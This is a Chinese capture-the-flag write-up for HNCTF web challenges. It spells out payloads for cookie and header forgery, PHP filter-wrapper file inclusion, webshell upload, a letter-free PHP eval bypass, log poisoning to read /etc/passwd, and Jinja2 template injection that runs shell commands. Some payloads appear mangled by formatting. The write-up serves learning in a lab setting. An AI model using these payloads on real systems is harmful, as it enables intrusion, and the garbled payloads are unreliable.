0


HNCTF wp

interesting_http:

post一个参数want试试,发现有反应,然后使want=flag

显示not admin,不要紧,抓包看到cookie是明文,且有user=notadmin,改成user=admin即可。

显示not location,这个考的是经验,一般验证本机是admin都要附加验证来源,伪造一个请求头来源:

X-Forwarded-for:127.0.0.1即可拿到flag

[Week1]2048

一个2048小游戏,20000分通关(感觉手打也能成功哈

但是聪明的ctfer从来不走正道,抓个包看看,啥也没有,推测是js,审计源码看到一个2048.js,进去再看

还是写了不少,还有很多乱码,应该是编码问题,加上这个排版,真的很难看,没有细细往下看,直接搜了score,找到游戏结束的逻辑判定

复制一下那段js语句丢到控制台就能拿到flag啦

啊,要记得改前缀噢

[Week1]easy_html

出人意料的简单...,首页提示查看饼干(cookie)

转换一下编码,是./f14g.php

于是转到f14g.php,是一个手机号验证,输入正确的手机号格式就能拿到flag。(我一开始就用burp发包过去的所以没察觉,之后看了眼题目,通过页面是输入不了十一位数字的,当然也可以用hackbar,没差)

[Week1]Interesting_include

简单文件包含,首页提示flag在flag.php

payload:

?filter=php://filter/convert.base64-encode/resource=flag.php

得到flag.php转码之后的base64字符串,重新解码即可拿到flag

(我也不知道为什么题目过滤了flag我还能直接用上flag.php。。)

[Week1]easy_upload

一个文件上传,啥也没过滤

直接传马

然后到upload/1.php去看,马写成功了,直接传命令拿flag

[Week1]What is Web

看似一个简单的web页面,实则内藏flag,题目给出一个burp,摆明了让你抓包,果断抓包查看返回结果,一个简单base64解码,拿到flag。

[Week1]Challenge__rce

一开始网页空白,查看源代码可得hint

get方式传一个hint参数,查看源码了解这是一个代码执行漏洞题型

存在eval函数,观察正则过滤,是一个无字母rce题型,写一个小脚本看看还能用啥

<?php
for($i=1;$i<255;$i++){
    if (!preg_match("/[!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]/", chr($i))){
        echo chr($i).'<br>';
    }
}

其实能用的还是挺多的,利用 [],拿到array字符串,提取其中的a字母,构造一下payload

Payload:

$.=[];$=$[3];$++;$++;$__=$;$++;$++;$++;$++;$=$__.++$.$_[2];$=_.$(71).$(69).$(84);$$_1;

难点是长度小于等于120...本payload刚好卡在120这里(擦汗)

为了不超过限定长度,构造的是$_GET1; , 因此还需要传参拿到flag

上payload的时候记得url编码,不然特殊符号被转义了,执行不出来的

[WEEK2]easy_include

要求传入一个file参数,且对file进行了一些过滤,主要是伪协议方面

恰巧日志文件包含是不需要使用伪协议的,waf中也并没有过滤斜杠,给了足够的利用空间。

先试试?file=/etc/passwd

包含成功了,那么接下来就是日志文件包含正常的ua写马上传日志执行命令

[WEEK2]ez_SSTI

传一个name参数进去,有反应。

再验证ssti漏洞的存在。

找到我们要利用的类,在第138个。

看起来没有任何过滤 利用一个最简单的payload就能拿下。

payload:

?name={{().class.bases[0].subclasses()[137].init.globals.builtins'eval'.popen('cat f*').read()")}}

[WEEK3]ssssti

过滤了blacklist = [''', '"', 'args', 'os', '_']

使用request.cookies进行绕过

首先构造一个{{().class.bases[0].subclasses()}}查看子类

cookies的添加在后文有提到,拿到所有子类后筛选可用的子类

这里找的是<class 'warnings.catch_warnings'>,在第60个

原payload:

{}.class.bases[0].subclasses()[59].init.globals['builtins']'import'.getstatusoutput('ls')

修改后的payload:

?name={{()[request.cookies.a][request.cookies.b][0]request.cookies.c[59][request.cookies.d][request.cookies.e][request.cookies.f]request.cookies.g.getstatusoutput(request.cookies.i)}}

cookie的设置:

再提供一个file子类的做法:

file子类在第41个。

原payload:

{{ ''[request.args.class][request.args.mro][2]request.args.subclasses40.read() }}

修改后的payload:

?name={{()[request.cookies.a][request.cookies.b][0]request.cookies.c40.read()}}

这里成功拿到了/etc/passwd

接下来包含flag

拿到了,这里是略微取巧了,如果不知道flag的位置和名称,就没办法利用file子类读取了


本文转载自: https://blog.csdn.net/GSflyy/article/details/127286508
版权归原作者 GSflyy 所有, 如有侵权,请联系我们删除。

“HNCTF wp”的评论:

还没有评论